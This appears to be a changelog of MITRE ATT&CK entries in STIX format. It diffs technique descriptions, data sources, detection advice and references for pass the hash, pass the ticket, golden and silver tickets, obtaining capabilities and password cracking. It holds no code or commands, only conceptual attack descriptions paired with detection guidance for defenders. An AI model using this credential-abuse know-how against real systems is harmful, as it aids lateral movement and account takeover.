| external_references[7]['description'] | White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018. | Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018. |
| external_references[7]['url'] | https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/ | https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ |
| external_references[8]['source_name'] | GitHub Revoke-Obfuscation | PaloAlto EncodedCommand March 2017 |
| external_references[8]['description'] | Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018. | White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018. |
| external_references[8]['url'] | https://github.com/danielbohannon/Revoke-Obfuscation | https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/ |
| external_references[9]['source_name'] | GitHub Office-Crackros Aug 2016 | capec |
| external_references[9]['url'] | https://github.com/itsreallynick/office-crackros | https://capec.mitre.org/data/definitions/267.html |
| x_mitre_data_sources[0] | Network protocol analysis | Command: Command Execution |
| x_mitre_data_sources[1] | Process use of network | File: File Creation |
| x_mitre_data_sources[2] | File monitoring | File: File Metadata |
| x_mitre_data_sources[3] | Malware reverse engineering | Process: Process Creation |
| x_mitre_defense_bypassed[0] | Host forensic analysis | Host Forensic Analysis |
| x_mitre_defense_bypassed[1] | Signature-based detection | Signature-based Detection |
| x_mitre_defense_bypassed[2] | Host intrusion prevention systems | Host Intrusion Prevention Systems |
| x_mitre_defense_bypassed[3] | Application control | Application Control |
| x_mitre_defense_bypassed[4] | Log analysis | Log Analysis |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Binary file metadata | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Environment variable | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Windows event logs | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_defense_bypassed | Application control by file name or path |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy and/or ste | t | 1 | Adversaries may buy and/or steal capabilities that can be us |
| > | al capabilities that can be used during targeting. Rather th | > | ed during targeting. Rather than developing their own capabi | ||
| > | an developing their own capabilities in-house, adversaries m | > | lities in-house, adversaries may purchase, freely download, | ||
| > | ay purchase, freely download, or steal them. Activities may | > | or steal them. Activities may include the acquisition of mal | ||
| > | include the acquisition of malware, software (including lice | > | ware, software (including licenses), exploits, certificates, | ||
| > | nses), exploits, certificates, and information relating to v | > | and information relating to vulnerabilities. Adversaries ma | ||
| > | ulnerabilities. Adversaries may obtain capabilities to suppo | > | y obtain capabilities to support their operations throughout | ||
| > | rt their operations throughout numerous phases of the advers | > | numerous phases of the adversary lifecycle. In addition to | ||
| > | ary lifecycle. In addition to downloading free malware, sof | > | downloading free malware, software, and exploits from the i | ||
| > | tware, and exploits from the internet, adversaries may purch | > | nternet, adversaries may purchase these capabilities from th | ||
| > | ase these capabilities from third-party entities. Third-part | > | ird-party entities. Third-party entities can include technol | ||
| > | y entities can include technology companies that specialize | > | ogy companies that specialize in malware and exploits, crimi | ||
| > | in malware and exploits, criminal marketplaces, or from indi | > | nal marketplaces, or from individuals.(Citation: NationsBuyi | ||
| > | viduals.(Citation: NationsBuying)(Citation: PegasusCitizenLa | > | ng)(Citation: PegasusCitizenLab) In addition to purchasing | ||
| > | b) In addition to purchasing capabilities, adversaries may | > | capabilities, adversaries may steal capabilities from third- | ||
| > | steal capabilities from third-party entities (including othe | > | party entities (including other adversaries). This can inclu | ||
| > | r adversaries). This can include stealing software licenses, | > | de stealing software licenses, malware, SSL/TLS and code-sig | ||
| > | malware, SSL/TLS and code-signing certificates, or raiding | > | ning certificates, or raiding closed databases of vulnerabil | ||
| > | closed databases of vulnerabilities or exploits.(Citation: D | > | ities or exploits.(Citation: DiginotarCompromise) | ||
| > | iginotarCompromise) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content', 'Malware Repository: Malware Content', 'Certificate: Certificate Registration', 'Malware Repository: Malware Metadata'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:22:21.135000+00:00 | 2021-10-18 12:26:22.831000+00:00 |
| description | Before compromising a victim, adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) | Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. | Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.', 'url': 'https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop'} | |
| external_references | {'source_name': 'Analyzing CS Dec 2020', 'description': 'Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.', 'url': 'https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/'} | |
| external_references | {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'} | |
| external_references | {'source_name': 'Recorded Future Beacon Certificates', 'description': 'Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.', 'url': 'https://www.recordedfuture.com/cobalt-strike-servers/'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 17:48:09.417000+00:00 | 2021-10-15 20:18:31.112000+00:00 |
| x_mitre_contributors[0] | Nick Carr, FireEye | Nick Carr, Mandiant |
| x_mitre_data_sources[0] | Mail server | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Creation |
| x_mitre_data_sources[3] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[4] | File monitoring | Module: Module Load |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Application Log: Application Log Content | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 17:48:08.916000+00:00 | 2021-08-16 21:27:10.873000+00:00 |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[3] | File monitoring | File: File Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 15:27:51.559000+00:00 | 2021-08-16 21:35:17.618000+00:00 |
| x_mitre_data_sources[0] | DLL monitoring | Module: Module Load |
| x_mitre_data_sources[1] | Loaded DLLs | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Process monitoring | File: File Modification |
| x_mitre_data_sources[3] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[4] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[5] | Windows Registry | File: File Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry: Windows Registry Key Creation |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:35:15.823000+00:00 | 2021-08-16 21:29:19.697000+00:00 |
| x_mitre_data_sources[0] | Mail server | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:35:51.656000+00:00 | 2021-08-16 21:30:01.743000+00:00 |
| x_mitre_data_sources[0] | Mail server | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Application Log: Application Log Content |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Microsoft Security'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:36:15.923000+00:00 | 2021-10-15 20:18:30.700000+00:00 |
| external_references[3]['source_name'] | SensePost NotRuler | Pfammatter - Hidden Inbox Rules |
| external_references[3]['description'] | SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019. | Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021. |
| external_references[3]['url'] | https://github.com/sensepost/notruler | https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/ |
| x_mitre_data_sources[0] | Mail server | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Application Log: Application Log Content |
| x_mitre_detection | Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. | Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'SensePost NotRuler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/notruler'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may “pass the hash” using stolen password hashes | t | 1 | Adversaries may “pass the hash” using stolen password hashes |
| > | to move laterally within an environment, bypassing normal s | > | to move laterally within an environment, bypassing normal s | ||
| > | ystem access controls. Pass the hash (PtH) is a method of au | > | ystem access controls. Pass the hash (PtH) is a method of au | ||
| > | thenticating as a user without having access to the user's c | > | thenticating as a user without having access to the user's c | ||
| > | leartext password. This method bypasses standard authenticat | > | leartext password. This method bypasses standard authenticat | ||
| > | ion steps that require a cleartext password, moving directly | > | ion steps that require a cleartext password, moving directly | ||
| > | into the portion of the authentication that uses the passwo | > | into the portion of the authentication that uses the passwo | ||
| > | rd hash. In this technique, valid password hashes for the ac | > | rd hash. When performing PtH, valid password hashes for the | ||
| > | count being used are captured using a Credential Access tech | > | account being used are captured using a [Credential Access] | ||
| > | nique. Captured hashes are used with PtH to authenticate as | > | (https://attack.mitre.org/tactics/TA0006) technique. Capture | ||
| > | that user. Once authenticated, PtH may be used to perform ac | > | d hashes are used with PtH to authenticate as that user. Onc | ||
| > | tions on local or remote systems. Windows 7 and higher with | > | e authenticated, PtH may be used to perform actions on local | ||
| > | KB2871997 require valid domain user credentials or RID 500 | > | or remote systems. Adversaries may also use stolen passwor | ||
| > | administrator hashes.(Citation: NSA Spotting) | > | d hashes to "overpass the hash." Similar to PtH, this involv | ||
| > | es using a password hash to authenticate as a user but also | ||||
| > | uses the password hash to create a valid Kerberos ticket. Th | ||||
| > | is ticket can then be used to perform [Pass the Ticket](http | ||||
| > | s://attack.mitre.org/techniques/T1550/003) attacks.(Citation | ||||
| > | : Stealthbits Overpass-the-Hash) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 16:24:34.766000+00:00 | 2021-08-31 19:55:02.702000+00:00 |
| description | Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.(Citation: NSA Spotting) | Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash) |
| external_references[2]['source_name'] | NSA Spotting | Stealthbits Overpass-the-Hash |
| external_references[2]['description'] | National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018. | Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021. |
| external_references[2]['url'] | https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm | https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/ |
| x_mitre_data_sources[0] | Authentication logs | Active Directory: Active Directory Credential Request |
| x_mitre_detection | Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. | Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Blake Strom, Microsoft 365 Defender | |
| x_mitre_data_sources | User Account: User Account Authentication | |
| x_mitre_data_sources | Logon Session: Logon Session Creation |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may “pass the ticket” using stolen Kerberos tick | t | 1 | Adversaries may “pass the ticket” using stolen Kerberos tick |
| > | ets to move laterally within an environment, bypassing norma | > | ets to move laterally within an environment, bypassing norma | ||
| > | l system access controls. Pass the ticket (PtT) is a method | > | l system access controls. Pass the ticket (PtT) is a method | ||
| > | of authenticating to a system using Kerberos tickets without | > | of authenticating to a system using Kerberos tickets without | ||
| > | having access to an account's password. Kerberos authentica | > | having access to an account's password. Kerberos authentica | ||
| > | tion can be used as the first step to lateral movement to a | > | tion can be used as the first step to lateral movement to a | ||
| > | remote system. In this technique, valid Kerberos tickets fo | > | remote system. When preforming PtT, valid Kerberos tickets | ||
| > | r [Valid Accounts](https://attack.mitre.org/techniques/T1078 | > | for [Valid Accounts](https://attack.mitre.org/techniques/T10 | ||
| > | ) are captured by [OS Credential Dumping](https://attack.mit | > | 78) are captured by [OS Credential Dumping](https://attack.m | ||
| > | re.org/techniques/T1003). A user's service tickets or ticket | > | itre.org/techniques/T1003). A user's service tickets or tick | ||
| > | granting ticket (TGT) may be obtained, depending on the lev | > | et granting ticket (TGT) may be obtained, depending on the l | ||
| > | el of access. A service ticket allows for access to a partic | > | evel of access. A service ticket allows for access to a part | ||
| > | ular resource, whereas a TGT can be used to request service | > | icular resource, whereas a TGT can be used to request servic | ||
| > | tickets from the Ticket Granting Service (TGS) to access any | > | e tickets from the Ticket Granting Service (TGS) to access a | ||
| > | resource the user has privileges to access.(Citation: ADSec | > | ny resource the user has privileges to access.(Citation: ADS | ||
| > | urity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Tic | > | ecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the T | ||
| > | ket) [Silver Ticket](https://attack.mitre.org/techniques/T1 | > | icket) A [Silver Ticket](https://attack.mitre.org/technique | ||
| > | 558/002) can be obtained for services that use Kerberos as a | > | s/T1558/002) can be obtained for services that use Kerberos | ||
| > | n authentication mechanism and are used to generate tickets | > | as an authentication mechanism and are used to generate tick | ||
| > | to access that particular resource and the system that hosts | > | ets to access that particular resource and the system that h | ||
| > | the resource (e.g., SharePoint).(Citation: ADSecurity AD Ke | > | osts the resource (e.g., SharePoint).(Citation: ADSecurity A | ||
| > | rberos Attacks) [Golden Ticket](https://attack.mitre.org/te | > | D Kerberos Attacks) A [Golden Ticket](https://attack.mitre. | ||
| > | chniques/T1558/001) can be obtained for the domain using the | > | org/techniques/T1558/001) can be obtained for the domain usi | ||
| > | Key Distribution Service account KRBTGT account NTLM hash, | > | ng the Key Distribution Service account KRBTGT account NTLM | ||
| > | which enables generation of TGTs for any account in Active D | > | hash, which enables generation of TGTs for any account in Ac | ||
| > | irectory.(Citation: Campbell 2014) | > | tive Directory.(Citation: Campbell 2014) Adversaries may al | ||
| > | so create a valid Kerberos ticket using other user informati | ||||
| > | on, such as stolen password hashes or AES keys. For example, | ||||
| > | "overpassing the hash" involves using a NTLM password hash | ||||
| > | to authenticate as a user (i.e. [Pass the Hash](https://atta | ||||
| > | ck.mitre.org/techniques/T1550/002)) while also using the pas | ||||
| > | sword hash to create a valid Kerberos ticket.(Citation: Stea | ||||
| > | lthbits Overpass-the-Hash) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-12 17:03:16.122000+00:00 | 2021-08-31 19:56:31.341000+00:00 |
| description | Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks) [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014) | Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks) A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014) Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash) |
| external_references[5]['source_name'] | CERT-EU Golden Ticket Protection | Stealthbits Overpass-the-Hash |
| external_references[5]['description'] | Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. | Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021. |
| external_references[5]['url'] | https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf | https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/ |
| x_mitre_data_sources[0] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'} | |
| x_mitre_data_sources | Active Directory: Active Directory Credential Request | |
| x_mitre_data_sources | User Account: User Account Authentication |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use password cracking to attempt to recover | t | 1 | Adversaries may use password cracking to attempt to recover |
| > | usable credentials, such as plaintext passwords, when creden | > | usable credentials, such as plaintext passwords, when creden | ||
| > | tial material such as password hashes are obtained. [OS Cred | > | tial material such as password hashes are obtained. [OS Cred | ||
| > | ential Dumping](https://attack.mitre.org/techniques/T1003) i | > | ential Dumping](https://attack.mitre.org/techniques/T1003) c | ||
| > | s used to obtain password hashes, this may only get an adver | > | an be used to obtain password hashes, this may only get an a | ||
| > | sary so far when [Pass the Hash](https://attack.mitre.org/te | > | dversary so far when [Pass the Hash](https://attack.mitre.or | ||
| > | chniques/T1550/002) is not an option. Techniques to systemat | > | g/techniques/T1550/002) is not an option. Further, adversar | ||
| > | ically guess the passwords used to compute hashes are availa | > | ies may leverage [Data from Configuration Repository](https: | ||
| > | ble, or the adversary may use a pre-computed rainbow table t | > | //attack.mitre.org/techniques/T1602) in order to obtain hash | ||
| > | o crack hashes. Cracking hashes is usually done on adversary | > | ed credentials for network devices.(Citation: US-CERT-TA18-1 | ||
| > | -controlled systems outside of the target network.(Citation: | > | 06A) Techniques to systematically guess the passwords used | ||
| > | Wikipedia Password cracking) The resulting plaintext passwo | > | to compute hashes are available, or the adversary may use a | ||
| > | rd resulting from a successfully cracked hash may be used to | > | pre-computed rainbow table to crack hashes. Cracking hashes | ||
| > | log into systems, resources, and services in which the acco | > | is usually done on adversary-controlled systems outside of | ||
| > | unt has access. | > | the target network.(Citation: Wikipedia Password cracking) T | ||
| > | he resulting plaintext password resulting from a successfull | ||||
| > | y cracked hash may be used to log into systems, resources, a | ||||
